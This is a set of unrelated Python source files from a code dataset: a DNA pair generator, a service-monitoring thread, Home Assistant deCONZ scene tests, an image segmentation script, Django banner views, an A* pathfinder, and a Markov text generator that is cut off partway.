nature's rules.\"\"\"\n pair = []\n strand = []\n for i in range(int(number_of_pairs)):\n chosen_base_number = randint(0,3)\n pair.append(bases[chosen_base_number])\n if chosen_base_number == 0:\n pair.append(bases[1])\n elif chosen_base_number == 1:\n pair.append(bases[0])\n elif chosen_base_number == 2:\n pair.append(bases[3])\n elif chosen_base_number == 3:\n pair.append(bases[2])\n strand.append(pair)\n pair = []\n return strand\n\ndef write_to_file(data, filename=\"you_didnt_give_me_a_name.txt\"):\n \"\"\"Writes data provided to function to a file.\"\"\"\n with open(filename, \"w+\") as f:\n for element in data:\n for sequence in range(2):\n f.write(f\"{element[sequence]} \")\n f.write(\"\\n\")\n return None\n\ndef check_file(filename):\n \"\"\"Checks if DNA strand in given file name follows nature's rules.\"\"\"\n with open(filename, \"r\") as f:\n lines = f.readlines()\n strand_length = len(lines)\n amount_correct = 0\n for line in lines:\n bases_check = line.strip().split()\n if (bases_check[0] == bases[0] and bases_check[1] == bases[1]) or (bases_check[0] == bases[1] and bases_check[1] == bases[0]):\n amount_correct += 1\n elif (bases_check[0] == bases[2] and bases_check[1] == bases[3]) or (bases_check[0] == bases[3] and bases_check[1] == bases[2]):\n amount_correct += 1\n else:\n pass\n bases_check = []\n return amount_correct/strand_length * 100\n\nif __name__ == \"__main__\":\n try:\n if arguments[1] == \"correct\":\n strand = generate_DNA_pair_by_rule(arguments[2])\n write_to_file(strand, arguments[3])\n print(f\"File {arguments[3]} created and filled with {arguments[2]} correct DNA pairs.\")\n elif arguments[1] == \"random\":\n strand = generate_DNA_random_pair(arguments[2])\n write_to_file(strand, arguments[3])\n print(f\"File {arguments[3]} created and filled with {arguments[2]} random DNA pairs.\")\n elif arguments[1] == \"check\":\n statistic = check_file(arguments[2])\n if statistic == 100:\n print(\"The strand you gave me is \" + str(check_file(arguments[2])) + \"% correct. Congratulations!\")\n else:\n print(\"The strand you gave me is \" + str(check_file(arguments[2])) + \"% correct. You may or may not end up with Donald Trump if you put this strand into production.\")\n except IndexError:\n print(__doc__)\n","sub_path":"[Prog1_WS17] BOEHNKE, LENNARD, HA07 (Mi)/dna_generator.py","file_name":"dna_generator.py","file_ext":"py","file_size_in_byte":4026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"384943226","text":"import os\nfrom pydub import AudioSegment\n\ndef list_files(folder):\n r = []\n for root, dirs, files in os.walk(folder):\n for name in files:\n if name[0] == '.': # don't include hidden folders\n continue\n else:\n r.append(os.path.join(root, name))\n return r\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"377254968","text":"# -*- coding: utf-8 -*-\n#coding=utf-8\nimport json\nimport time\nimport threading\nfrom server.bussiness.infoPickle import InfoPickle\nfrom server.bussiness.zabbixMonitor import ZabbixMonitor\nfrom server.bussiness.logstashMonitor import logstashMonitor\nfrom server.bussiness.dealKendouiDataSource import DealKendoData\nfrom server.bussiness.rabbitMqMonitor import RabbitMqMonitor\nfrom server.bussiness.redisMonitor import RedisMonitor\nfrom server.logger import log\n\nt = None\ndef threadGetData():\n '''\n 线程中函数,每隔1分钟\n :return:\n '''\n def goMonitory():\n try:\n zIns = ZabbixMonitor()\n ok, zabbixResult = zIns.getZabbixData()\n except Exception as err:\n log.error('threadGetData| zIns.getZabbixData error:{0}'.format(err))\n\n try:\n lIns = logstashMonitor()\n ok, logstashResult = lIns.getLogstashData()\n except Exception as err:\n log.error('threadGetData| lIns.getLogstashData error:{0}'.format(err))\n\n try:\n qIns = RabbitMqMonitor()\n ok, rabbitResult = qIns.getMqData()\n except Exception as err:\n log.error('threadGetData| qIns.getMqData error:{0}'.format(err))\n\n try:\n rIns = RedisMonitor()\n ok, redisResult = rIns.getRedisData()\n except Exception as err:\n log.error('threadGetData| rIns.getRedisData error:{0}'.format(err))\n\n log.info('threadGetData| success done')\n\n while True:\n goMonitory()\n time.sleep(30)\n\n\ndef startGetData():\n global t\n try:\n if t and t.is_alive():\n return True\n except Exception as err:\n log.error('startGetData| t.is_alive() error:{0}'.format(err))\n\n t = threading.Thread(target=threadGetData)\n t.setDaemon(True)\n t.start()\n return True\n\ndef checkPickle():\n '''\n 检查pickle\n :return:\n '''\n pass\n # while True:\n # infoIns = InfoPickle()\n # if infoIns.pickleData.get('zabbix') and infoIns.pickleData.get('logstash') \\\n # and infoIns.pickleData.get('mq') and infoIns.pickleData.get('redis'):\n # log.info('infoPickle| check done')\n # break\n # time.sleep(2)","sub_path":"server/bussiness/backendThread.py","file_name":"backendThread.py","file_ext":"py","file_size_in_byte":2235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"2862544","text":"\"\"\"deCONZ scene platform tests.\"\"\"\n\nfrom unittest.mock import patch\n\nfrom homeassistant.components.scene import DOMAIN as SCENE_DOMAIN, SERVICE_TURN_ON\nfrom homeassistant.const import ATTR_ENTITY_ID\n\nfrom .test_gateway import (\n DECONZ_WEB_REQUEST,\n mock_deconz_put_request,\n setup_deconz_integration,\n)\n\n\nasync def test_no_scenes(hass, aioclient_mock):\n \"\"\"Test that scenes can be loaded without scenes being available.\"\"\"\n await setup_deconz_integration(hass, aioclient_mock)\n assert len(hass.states.async_all()) == 0\n\n\nasync def test_scenes(hass, aioclient_mock):\n \"\"\"Test that scenes works.\"\"\"\n data = {\n \"groups\": {\n \"1\": {\n \"id\": \"Light group id\",\n \"name\": \"Light group\",\n \"type\": \"LightGroup\",\n \"state\": {\"all_on\": False, \"any_on\": True},\n \"action\": {},\n \"scenes\": [{\"id\": \"1\", \"name\": \"Scene\"}],\n \"lights\": [],\n }\n }\n }\n with patch.dict(DECONZ_WEB_REQUEST, data):\n config_entry = await setup_deconz_integration(hass, aioclient_mock)\n\n assert len(hass.states.async_all()) == 1\n assert hass.states.get(\"scene.light_group_scene\")\n\n # Verify service calls\n\n mock_deconz_put_request(\n aioclient_mock, config_entry.data, \"/groups/1/scenes/1/recall\"\n )\n\n # Service turn on scene\n\n await hass.services.async_call(\n SCENE_DOMAIN,\n SERVICE_TURN_ON,\n {ATTR_ENTITY_ID: \"scene.light_group_scene\"},\n blocking=True,\n )\n assert aioclient_mock.mock_calls[1][2] == {}\n\n await hass.config_entries.async_unload(config_entry.entry_id)\n\n assert len(hass.states.async_all()) == 0\n","sub_path":"tests/components/deconz/test_scene.py","file_name":"test_scene.py","file_ext":"py","file_size_in_byte":1711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"101570818","text":"'''\nDaniel Buscombe, Dec 2016\nDaniel.Buscombe@nau.edu\n'''\n\n# use matplotlib magic function within ipython\n#%matplotlib\n\n# =========================================================\n# ================ load libraries =========================\n# =========================================================\n\n#i/o, op\nfrom __future__ import division\nfrom glob import glob\nimport cPickle\nfrom joblib import Parallel, delayed, cpu_count\nimport os\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n#numeric\nimport numpy as np\nfrom scipy.stats import mode\nimport replace_nans\n\n#plot\nimport matplotlib.pyplot as plt\n\n#image proc\nfrom scipy.misc import imread, imresize, imsave\nfrom skimage.morphology import remove_small_objects, remove_small_holes\nfrom scipy import ndimage\nfrom skimage.measure import label, regionprops\nfrom skimage import exposure\n\nfrom utils import *\n\n# =========================================================\n# ================ subfunctions ===========================\n# =========================================================\n\n# =========================================================\n\n# =========================================================\ndef get_channels(infile, decim_factor, scale_factor):\n \"\"\"\n median filter each channel of rgb image, and return those channels,\n as well as the reconstructed (median filtered) rgb image, and its greyscale image\n \"\"\"\n im = imresize(imread(infile, flatten=0),1/decim_factor) #.125)\n\n im = exposure.equalize_hist(im)\n\n im = exposure.equalize_adapthist(im)\n\n im = im.astype('float')\n red = rescale((im[:,:,0] - im[:,:,0].mean()) / im[:,:,0].std(),0,255)\n green = rescale((im[:,:,1] - im[:,:,1].mean()) / im[:,:,1].std(),0,255)\n blue = rescale((im[:,:,2] - im[:,:,2].mean()) / im[:,:,2].std(),0,255)\n\n im = np.zeros(np.shape(im), dtype='uint8')\n im[:,:,0] = red\n im[:,:,1] = green\n im[:,:,2] = blue\n\n shape = np.shape(im[:,:,0])\n try:\n red = median_filter(im[:,:,0], (int(shape[0]/scale_factor), int(shape[0]/scale_factor)))\n green = median_filter(im[:,:,1], (int(shape[0]/scale_factor), int(shape[0]/scale_factor)))\n blue = median_filter(im[:,:,2], (int(shape[0]/scale_factor), int(shape[0]/scale_factor)))\n except:\n red = im[:,:,0]\n green = im[:,:,1]\n blue = im[:,:,2]\n\n im = np.zeros(np.shape(im), dtype='uint8')\n im[:,:,0] = red\n im[:,:,1] = green\n im[:,:,2] = blue\n\n gim = rgb2gray(im)\n\n return im, gim, red, green, blue, shape\n\n\n# =========================================================\ndef doclass(infile, athres, decim_factor, nsegs, scale_factor, models, scaler): \n \"\"\"\n carry out the image classification/segmentation\n \"\"\"\n #get channels\n im, gim, red, green, blue, shape = get_channels(infile, decim_factor, scale_factor)\n\n # minimum area of feature retained\n alim = int(athres * np.prod(shape))\n\n #preallocate list for containing segmentations per nseg iteration\n predclass = []\n probclass1 = []; probclass2 = [];\n probclass3 = []; probclass4 = [];\n\n for nseg in [nsegs]: #int(nsegs/2), int(nsegs), int(nsegs*2)]:\n\n #return glcm values\n dissim, contrast, homo, energy, auto, segments_slic = seg_texture(im, nseg, seg='slic')\n\n #return hue and saturation\n h, s= get_hs(red, green, blue, shape)\n\n # apply calibration\n# ['Intensity', 'Red', 'Blue', 'Energy', 'Hue', 'Saturation']\n Xdat = np.hstack(( ascol(gim.flatten()), ascol(red.flatten()), ascol(blue.flatten()), ascol(energy.flatten()), ascol(h.flatten()), ascol(s.flatten()) )) \n\n Xdat = scaler.transform(Xdat)\n\n for model in models:\n pred = model.predict(Xdat)\n prob = model.predict_proba(Xdat)\n predclass.append(np.reshape(pred, shape))\n probclass1.append(np.reshape(prob[:,0], shape))\n probclass2.append(np.reshape(prob[:,1], shape))\n probclass3.append(np.reshape(prob[:,2], shape))\n probclass4.append(np.reshape(prob[:,3], shape))\n\n dissim, contrast, homo, energy, auto, segments_qs = seg_texture(im, nsegs, seg='qs')\n\n # apply calibration\n\n# ['Intensity', 'Red', 'Green', 'Blue', 'Energy', 'Hue', 'Saturation']\n Xdat = np.hstack(( ascol(gim.flatten()), ascol(red.flatten()), ascol(blue.flatten()), ascol(energy.flatten()), ascol(h.flatten()), ascol(s.flatten()) ))\n Xdat = scaler.transform(Xdat)\n\n for model in models:\n pred = model.predict(Xdat)\n prob = model.predict_proba(Xdat)\n predclass.append(np.reshape(pred, shape))\n probclass1.append(np.reshape(prob[:,0], shape))\n probclass2.append(np.reshape(prob[:,1], shape))\n probclass3.append(np.reshape(prob[:,2], shape))\n probclass4.append(np.reshape(prob[:,3], shape))\n\n prcthres = 80\n\n S= np.zeros(shape, dtype='float64')\n S1 = np.median(probclass1, axis=0)>=np.percentile(probclass1,prcthres); S1 = remove_small_objects(S1==1, alim); S1 = remove_small_holes(S1, alim); S[S1==1] = 1\n S2 = np.median(probclass2, axis=0)>=np.percentile(probclass2,prcthres); S2 = remove_small_objects(S2==1, alim); S2 = remove_small_holes(S2, alim); S[S2==1] = 2\n S3 = np.median(probclass3, axis=0)>=np.percentile(probclass3,prcthres); S3 = remove_small_objects(S3==1, alim); S3 = remove_small_holes(S3, alim); S[S3==1] = 3\n #S4 = np.median(probclass4, axis=0)>=np.percentile(probclass4,prcthres); S4 = remove_small_objects(S4==1, alim); S4 = remove_small_holes(S4, alim); S[S4==1] = 4\n S[S==0] = np.nan \n\n try:\n #get labels of blobs where water\n l1 = label(S==1)\n props1 = regionprops(l1)\n\n # get location of biggestt water blob\n biggest_water = np.argmax([x['area'] for x in props1])\n cx, cy = props1[biggest_water]['centroid']\n\n #get labels of blobs where surf\n l2 = label(S==2)\n props2 = regionprops(l2)\n \n # remove blobs of surf which are more than a third linear distance of image from largest water body\n for k in range(len(props2)):\n sx, sy = props2[k]['centroid']\n if (np.abs(cy-sy) > shape[1]/3) | (np.abs(cx-sx) > shape[0]/3):\n S[l2==k+1] = 4\n\n #get labels of blobs where surf\n l2 = label(S==2)\n props2 = regionprops(l2)\n\n # get location of biggestt surf blob\n biggest_surf = np.argmax([x['area'] for x in props2])\n cx, cy = props2[biggest_surf]['centroid']\n \n # remove blobs of water which are more than a third linear distance of image from largest surf body\n for k in range(len(props1)):\n sx, sy = props1[k]['centroid']\n #plt.plot(sy, sx, 'ro')\n if (np.abs(cy-sy) > shape[1]/3) | (np.abs(cx-sx) > shape[0]/3):\n S[l1==k+1] = 4\n\n except:\n pass\n\n rn = replace_nans.RN(S,1000,0.001,10,'localmean')\n S = np.ceil(rn.getdata())\n del rn\n\n Snew = np.zeros(shape, dtype='float64')\n S1 = remove_small_objects(S==1, alim); S1 = remove_small_holes(S1, alim); Snew[S1==1] = 1\n S2 = remove_small_objects(S==2, alim); S2 = remove_small_holes(S2, alim); Snew[S2==1] = 2\n S3 = remove_small_objects(S==3, alim); S3 = remove_small_holes(S3, alim); Snew[S3==1] = 3\n S4 = remove_small_objects(S==4, alim); S4 = remove_small_holes(S4, alim); Snew[S4==1] = 4\n Snew[Snew==0] = np.nan \n\n rn = replace_nans.RN(Snew,100,0.001,10,'localmean')\n Snew = np.ceil(rn.getdata())\n del rn\n\n fig = plt.figure()\n plt.subplot(121)\n plt.imshow(im); plt.axis('off')\n\n plt.subplot(122)\n plt.imshow(gim, cmap='gray')\n plt.imshow(Snew, alpha=0.5, vmin=1, vmax=4)\n plt.title('water(blue); surf(light blue); bare earth(yellow); other(red)', fontsize=7)\n plt.axis('off')\n plt.savefig('..'+os.sep+'outputs'+os.sep+infile.split(os.sep)[-2]+os.sep+infile.split(os.sep)[-1]+'_4class_votingclass_4.png', dpi=300, bbox_inches='tight')\n plt.close(); del fig\n\n s = imresize(Snew>2, float(decim_factor))\n s[(s>0) & (s<255)] = 0\n\n imsave('..'+os.sep+'outputs'+os.sep+infile.split(os.sep)[-2]+os.sep+infile.split(os.sep)[-1]+'_masked4.png', s)\n\n# =========================================================\n# ================ main program ===========================\n# =========================================================\n\n# =========================================================\n# ================ user inputs ===========================\n# =========================================================\nif __name__ == '__main__':\n\n # maximum number of superpixels returned\n nsegs = 1000\n\n #decimate image by this factor, e.g 8 = image worked with is 1/8 size of original\n decim_factor=8\n\n # threshold minimum object size, as percentage of image area (0.001 to 0.02) \n athres = 0.01\n\n scale_factor = 1000 #250\n\n with open('set1_thru_9_scaled_all.pkl', 'rb') as fid:\n clf1, clf2, clf3, clf4, scaler = cPickle.load(fid) \n\n models = [clf1, clf2, clf3, clf4] \n\n #build a list of input files\n infiles = glob('../imagery/set1/*.*') + glob('../imagery/set2/*.*') + glob('../imagery/set3/*.*') + glob('../imagery/set4/*.*') + glob('../imagery/set5/*.*') + glob('../imagery/set6/*.*') + glob('../imagery/set7/*.*') + glob('../imagery/set8/*.*') + glob('../imagery/set9/*.*')\n\n # use all cores to process them\n w = Parallel(n_jobs=cpu_count()-1, verbose=10)(delayed(doclass)(infile, athres, decim_factor, nsegs, scale_factor, models, scaler) for infile in infiles)\n\n\n\n# \n# # create classification image with rules on distance between eaxh class and its nearest like-class\n# dist1 = ndimage.distance_transform_edt(Snew==1); dist1 = dist1/np.max(dist1)\n# dist2 = ndimage.distance_transform_edt(Snew==2); dist2 = dist2/np.max(dist2)\n# dist3 = ndimage.distance_transform_edt(Snew==3); dist3 = dist3/np.max(dist3)\n# dist4 = ndimage.distance_transform_edt(Snew==4); dist4 = dist4/np.max(dist4)\n\n# #idist1 = ndimage.distance_transform_edt(dist1<1); idist1 = idist1/np.max(idist1)\n# #idist2 = ndimage.distance_transform_edt(dist2<1); idist2 = idist2/np.max(idist2)\n# #idist3 = ndimage.distance_transform_edt(dist3<1); idist3 = idist3/np.max(idist3)\n# #idist4 = ndimage.distance_transform_edt(dist4<1); idist4 = idist4/np.max(idist4)\n# \n# Snew2 = np.zeros(shape, dtype='float64')\n# Snew2[dist2>.1] = 2; #Snew2[idist2<.1] = 0\n# Snew2[dist4>.1] = 4; #Snew2[idist4<.1] = 0\n# Snew2[dist3>.1] = 3; #Snew2[idist3<.1] = 0\n# Snew2[dist1>.1] = 1; #Snew2[idist1<.1] = 0\n# Snew2[Snew2==0] = np.nan\n# del dist1, dist2, dist3, dist4\n\n# Snew3 = np.zeros(shape, dtype='float64')\n# S4 = remove_small_objects(Snew2==4, alim); S4 = remove_small_holes(S4, alim); Snew3[S4==1] = 4\n# S1 = remove_small_objects(Snew2==1, alim); S1 = remove_small_holes(S1, alim); Snew3[S1==1] = 1\n# S3 = remove_small_objects(Snew2==3, alim); S3 = remove_small_holes(S3, alim); Snew3[S3==1] = 3\n# S2 = remove_small_objects(Snew2==2, alim); S2 = remove_small_holes(S2, alim); Snew3[S2==1] = 2\n# Snew3[Snew3==0] = np.nan\n\n\n# S, cnt = mode(np.dstack(predclass), axis=2)\n# S = np.squeeze(S)\n\n# # simple 'probability' of class assigned\n# prob = (np.squeeze(cnt).astype('float'))/len(predclass)\n\n# # create classification image with rules on sizes of holes andblobs\n# Snew = np.zeros(shape, dtype='float64')\n# S1 = remove_small_objects(S==1, alim); S1 = remove_small_holes(S1, alim); Snew[S1==1] = 1\n# S2 = remove_small_objects(S==2, alim); S2 = remove_small_holes(S2, alim); Snew[S2==1] = 2\n# S3 = remove_small_objects(S==3, alim); S3 = remove_small_holes(S3, alim); Snew[S3==1] = 3\n# S4 = remove_small_objects(S==4, alim); S4 = remove_small_holes(S4, alim); Snew[S4==1] = 4\n# Snew[Snew==0] = 4 #np.nan \n# Snew[prob<.66] = 4 #np.nan \n\n# Snew2 = np.zeros(shape, dtype='float64')\n# S1 = remove_small_objects(Snew==1, alim); S1 = remove_small_holes(S1, alim); Snew2[S1==1] = 1\n# S2 = remove_small_objects(Snew==2, alim); S2 = remove_small_holes(S2, alim); Snew2[S2==1] = 2\n# S3 = remove_small_objects(Snew==3, alim); S3 = remove_small_holes(S3, alim); Snew2[S3==1] = 3\n# S4 = remove_small_objects(Snew==4, alim); S4 = remove_small_holes(S4, alim); Snew2[S4==1] = 4\n# Snew2[Snew2==0] = np.nan \n\n# del prob, predclass, S, S1, S2, S3, S4\n\n# rn = replace_nans.RN(Snew,100,0.001,10,'localmean')\n# Snew = np.ceil(rn.getdata())\n# del rn\n\n# Sm, cnt = mode(np.dstack(predclass), axis=2)\n# Sm = np.squeeze(Sm)\n\n\n# Snew= np.zeros(shape, dtype='float64')\n# S1 = remove_small_objects(Sm==1, alim); S1 = remove_small_holes(S1, alim); Snew[S1==1] = 1\n# S2 = remove_small_objects(Sm==2, alim); S2 = remove_small_holes(S2, alim); Snew[S2==1] = 2\n# S3 = remove_small_objects(Sm==3, alim); S3 = remove_small_holes(S3, alim); Snew[S3==1] = 3\n# S4 = remove_small_objects(Sm==4, alim); S4 = remove_small_holes(S4, alim); Snew[S4==1] = 4\n# Snew[Snew==0] = np.nan \n","sub_path":"scripts/seg_image.py","file_name":"seg_image.py","file_ext":"py","file_size_in_byte":12720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"68040856","text":"from django.core.paginator import Paginator, PageNotAnInteger, EmptyPage\nfrom django.http import JsonResponse\nfrom django.shortcuts import render, redirect\nfrom django.views import View\n\nfrom activity_app.models import Banner, BannerActivate\nfrom seller_goods.models import Goods\n\n\nclass BannerView(View):\n def get(self, request):\n if request.GET.get('id', ''):\n banner = Banner.objects.get(pk=request.GET.get('id'))\n return JsonResponse({\n 'id': banner.id,\n 'pic': banner.pic,\n })\n\n banners = Banner.objects.all()\n\n # 值1:所有的数据\n # 值2:每一页的数据\n # 值3:当最后一页数据少于n条,将数据并入上一页\n paginator = Paginator(banners, 20, 1)\n\n if request.GET.get('pages', ''):\n pages = request.GET.get('pages')\n print(pages)\n else:\n pages = False\n try:\n # GET请求方式,get()获取指定Key值所对应的value值\n # 获取index的值,如果没有,则设置使用默认值1\n num = request.GET.get('index', '1')\n # 获取第几页\n\n if pages:\n number = paginator.page(pages)\n else:\n number = paginator.page(num)\n\n except PageNotAnInteger:\n # 如果输入的页码数不是整数,那么显示第一页数据\n number = paginator.page(1)\n except EmptyPage:\n number = paginator.page(paginator.num_pages)\n\n # 将当前页页码,以及当前页数据传递到banner_activate.html\n return render(request, 'activity/banner_list.html', {'page': number, 'paginator': paginator})\n\n # return render(request, 'activity/banner_list.html', locals())\n\n def post(self, request):\n print(request.POST)\n id = request.POST.get('banner_id', None) # 注意: form表单页面不建议使用id 字段名\n pic = request.POST.get('pic')\n # 验证是否为空(建议:页面上验证是否为空)\n\n if id:\n # 更新\n banner = Banner.objects.get(pk=id)\n banner.pic = pic\n\n banner.save()\n else:\n Banner.objects.create(pic=pic)\n\n return redirect('/banner/')\n\n def delete(self, request):\n banner_id = request.GET.get('id')\n banner = Banner.objects.get(pk=banner_id)\n banner.delete()\n\n return JsonResponse({\n 'status': 0,\n 'msg': '删除成功!'\n })\n\n\nclass BannerActivateView(View):\n def get(self, request):\n if request.GET.get('id', ''):\n banner_activate = BannerActivate.objects.get(pk=request.GET.get('id'))\n return JsonResponse({\n 'id': banner_activate.id,\n 'banner_id': banner_activate.banner_id,\n 'goods_id': banner_activate.goods_id,\n 'head_line': banner_activate.head_line,\n })\n\n # 查询数据库中的所有数据,按照最新的排列\n banner_activates = BannerActivate.objects.all()\n for i in banner_activates:\n i.banner_id = Banner.objects.get(pk=i.banner_id).pic\n\n try:\n i.goods_id = Goods.objects.get(pk=i.goods_id).name\n except:\n i.goods_id = i.goods_id\n\n # 值1:所有的数据\n # 值2:每一页的数据\n # 值3:当最后一页数据少于n条,将数据并入上一页\n paginator = Paginator(banner_activates, 20, 1)\n\n if request.GET.get('pages', ''):\n pages = request.GET.get('pages')\n print(pages)\n else:\n pages = False\n try:\n # GET请求方式,get()获取指定Key值所对应的value值\n # 获取index的值,如果没有,则设置使用默认值1\n num = request.GET.get('index', '1')\n # 获取第几页\n\n if pages:\n number = paginator.page(pages)\n else:\n number = paginator.page(num)\n\n except PageNotAnInteger:\n # 如果输入的页码数不是整数,那么显示第一页数据\n number = paginator.page(1)\n except EmptyPage:\n number = paginator.page(paginator.num_pages)\n\n # 将当前页页码,以及当前页数据传递到banner_activate.html\n return render(request, 'activity/banner_activate.html', {'page': number, 'paginator': paginator})\n # return render(request, 'activity/banner_activate.html', locals())\n\n def post(self, request):\n print(request.POST)\n id = request.POST.get('banner_activate_id', None) # 注意: form表单页面不建议使用id 字段名\n banner_id = request.POST.get('banner_id')\n goods_id = request.POST.get('goods_id')\n head_line = request.POST.get('head_line')\n\n # 验证是否为空(建议:页面上验证是否为空)\n\n if id:\n # 更新\n banner_activate = BannerActivate.objects.get(pk=id)\n banner_activate.banner_id = banner_id\n banner_activate.goods_id = goods_id\n banner_activate.head_line = head_line\n\n banner_activate.save()\n else:\n BannerActivate.objects.create(banner_id=banner_id, goods_id=goods_id, head_line=head_line)\n return redirect('/banner_activate/')\n\n def delete(self, request):\n banner_activate_id = request.GET.get('id')\n banner_activate = BannerActivate.objects.get(pk=banner_activate_id)\n banner_activate.delete()\n\n return JsonResponse({\n 'status': 0,\n 'msg': '删除成功!'\n })\n","sub_path":"activity_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"24041373","text":"class Node(object):\n \"\"\"\n id represents the index of the point. eg: '[1,2]'\n\n \"\"\"\n\n def __init__(self, id):\n self.id = id\n self.parent = None\n self.x = self.y = 0\n self.element = []\n self.__parse_coordinate()\n self.g_score = 0\n self.h_score = 0\n\n def __parse_coordinate(self):\n element = eval(self.id)\n self.element = element\n self.x = element[0]\n self.y = element[1]\n\n def f_value(self):\n return self.g_score + self.h_score\n\n def __lt__(self, other):\n return self.f_value() < other.f_value()\n\n\nclass A_Star(object):\n edge_limit = 20\n\n def __init__(self, obstacles, start, end):\n self.open_list = []\n self.close_list = []\n self.s_node = Node(start)\n self.e_node = Node(end)\n self.obstacles = self.__obsnode_list(obstacles)\n\n def hami_dist(self, node):\n return 10 * abs(node.x - self.e_node.x) + 10 * abs(node.y - self.e_node.y)\n\n def __obsnode_list(self, obstacles):\n nodes = []\n for item in obstacles:\n nodes.append(Node(item))\n return nodes\n\n def calcul(self):\n h_open_list = {}\n h_close_list = {}\n self.s_node.g_score = 0\n self.s_node.h_score = self.hami_dist(self.s_node)\n self.open_list.append(self.s_node)\n h_open_list[self.s_node.id] = self.s_node\n\n while len(self.open_list) > 0:\n self.open_list.sort()\n current_node = self.open_list[0]\n if current_node.id == self.e_node.id:\n return current_node\n node_list = self.gen_nodes(current_node)\n for node in node_list:\n current_cost = current_node.g_score + self.dis(node, current_node)\n if any(node.id == x.id for x in self.open_list):\n in_node = h_open_list[node.id]\n if in_node.g_score <= current_cost:\n continue\n else:\n in_node.g_score = current_cost\n in_node.parent = current_node\n elif any(node.id == x.id for x in self.close_list):\n in_node = h_close_list[node.id]\n if in_node.g_score <= current_cost:\n continue\n else:\n self.close_list.remove(in_node)\n h_close_list.pop(node.id)\n in_node.g_score = current_cost\n self.open_list.append(in_node)\n h_open_list[in_node.id] = in_node\n else:\n self.open_list.append(node)\n node.g_score = current_cost\n node.h_score = self.hami_dist(node)\n node.parent = current_node\n h_open_list[node.id] = node\n self.close_list.append(current_node)\n h_close_list[current_node.id] = current_node\n if len(self.open_list) > 0:\n self.open_list = self.open_list[1:]\n return None\n\n def get_path(self):\n the_list = []\n node = self.calcul()\n if node == None:\n print(\"No path\")\n return the_list\n while node != None:\n the_list.append(node.id)\n node = node.parent\n return the_list\n\n def gen_nodes(self, current_node):\n node_list = []\n x = current_node.x\n y = current_node.y\n if x - 1 >= 0:\n self.__create_nodes(x - 1, y, node_list)\n if y - 1 >= 0:\n self.__create_nodes(x - 1, y - 1, node_list)\n if y + 1 <= A_Star.edge_limit:\n self.__create_nodes(x - 1, y + 1, node_list)\n if y - 1 >= 0:\n self.__create_nodes(x, y - 1, node_list)\n if y + 1 <= A_Star.edge_limit:\n self.__create_nodes(x, y + 1, node_list)\n if x + 1 <= A_Star.edge_limit:\n self.__create_nodes(x + 1, y, node_list)\n if y - 1 >= 0:\n self.__create_nodes(x + 1, y - 1, node_list)\n if y + 1 <= A_Star.edge_limit:\n self.__create_nodes(x + 1, y + 1, node_list)\n return node_list\n\n def __create_nodes(self, x, y, node_list):\n node_id = \"[%d,%d]\" % (x, y)\n # for inode in self.obstacles:\n # if inode.id == node_id:\n # return\n if any(x.id == node_id for x in self.obstacles):\n return\n else:\n node_list.append(Node(node_id))\n\n def dis(self, node1, node2):\n if node1.element[0] == node2.element[0] \\\n or node1.element[1] == node2.element[1]:\n return 10\n else:\n return 14\n\n\nif __name__ == \"__main__\":\n start = '[1,2]'\n end = '[7,2]'\n obstacles = ['[4,1]', '[4,2]', '[4,3]', '[4,0]']\n a_star = A_Star(obstacles=obstacles, start=start, end=end)\n a_star.get_path()\n","sub_path":"A_star/A_Star.py","file_name":"A_Star.py","file_ext":"py","file_size_in_byte":4975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"306577653","text":"#!/usr/bin/env python A \n# Write a Markov text generator, [markov.py](python/markov.py). Your program should be called from the command line with two arguments: the name of a file containing text to read, and the number of words to generate. For example, if `chains.txt` contains the short story by Frigyes Karinthy, we could run:\n\n# ```bash \n# ./markov.py chains.txt 40 \n# ``` \n\n# A possible output would be: \n# > show himself once more than the universe and what I often catch myself playing our well-connected game went on. Our friend was absolutely correct: nobody from the group needed this way. We never been as the Earth has the network of eternity. \n\n# There are design choices to make; feel free to experiment and shape the program as you see fit. Jeff Atwood's [Markov and You](http://blog.codinghorror.com/markov-and-you/) is a fun place to get started learning about what you're trying to make. \n\nimport numpy as np\nimport sys\nimport random\nimport csv\nimport re\n \nfilename = sys.argv[1]\nwordnum = int(sys.argv[2])\n\ndef beginwordfrequency(filename):\n beginfrequency = {}\n beginnum = 0\n with open(filename) as txtfile:\n text = txtfile.read()\n sentences = text.split('\\n\\n')\n for sentence in sentences:\n wordinsentence = sentence.split()\n if len(wordinsentence) < 2:\n continue\n beginnum += 1\n beginword = wordinsentence[0]\n if beginword in beginfrequency:\n beginfrequency[beginword] += 1\n else:\n beginfrequency[beginword] = 1\n txtfile.close()\n for word, value in beginfrequency.items():\n beginfrequency[word] = value/beginnum\n return beginfrequency\n\ndef secondwordfrequency(filename):\n secondfrequency = {}\n secondtotalnum = {}\n with open(filename) as txtfile:\n text = txtfile.read()\n sentences = text.split('\\n\\n')\n for sentence in sentences:\n wordinsentence = sentence.split()\n if len(wordinsentence) < 2:\n continue\n beginword = wordinsentence[0]\n secondword = wordinsentence[1]\n if beginword in secondfrequency:\n secondtotalnum[beginword] += 1\n if secondword in secondfrequency[beginword]:\n secondfrequency[beginword][secondword] += 1\n else:\n secondfrequency[beginword][secondword] = 1\n else:\n secondtotalnum[beginword] = 1\n secondfrequency[beginword] = {secondword: 1}\n text = txtfile.read()\n txtfile.close()\n for word, totalnum in secondtotalnum.items():\n for nextword, num in secondfrequency[word].items():\n secondfrequency[word][nextword] = num/totalnum\n return secondfrequency\n\ndef thirdwordfrequency(filename):\n thirdfrequency = {}\n thirdtotalnum = {}\n with open(filename) as txtfile:\n text = txtfile.read()\n words = re.split('\\n| ',text)\n for i, word in enumerate(words):\n if word == '':\n words.pop(i)\n for i, word in enumerate(words[:-3]):\n firsttwowords = words[i] + words[i+1]\n if firsttwowords in 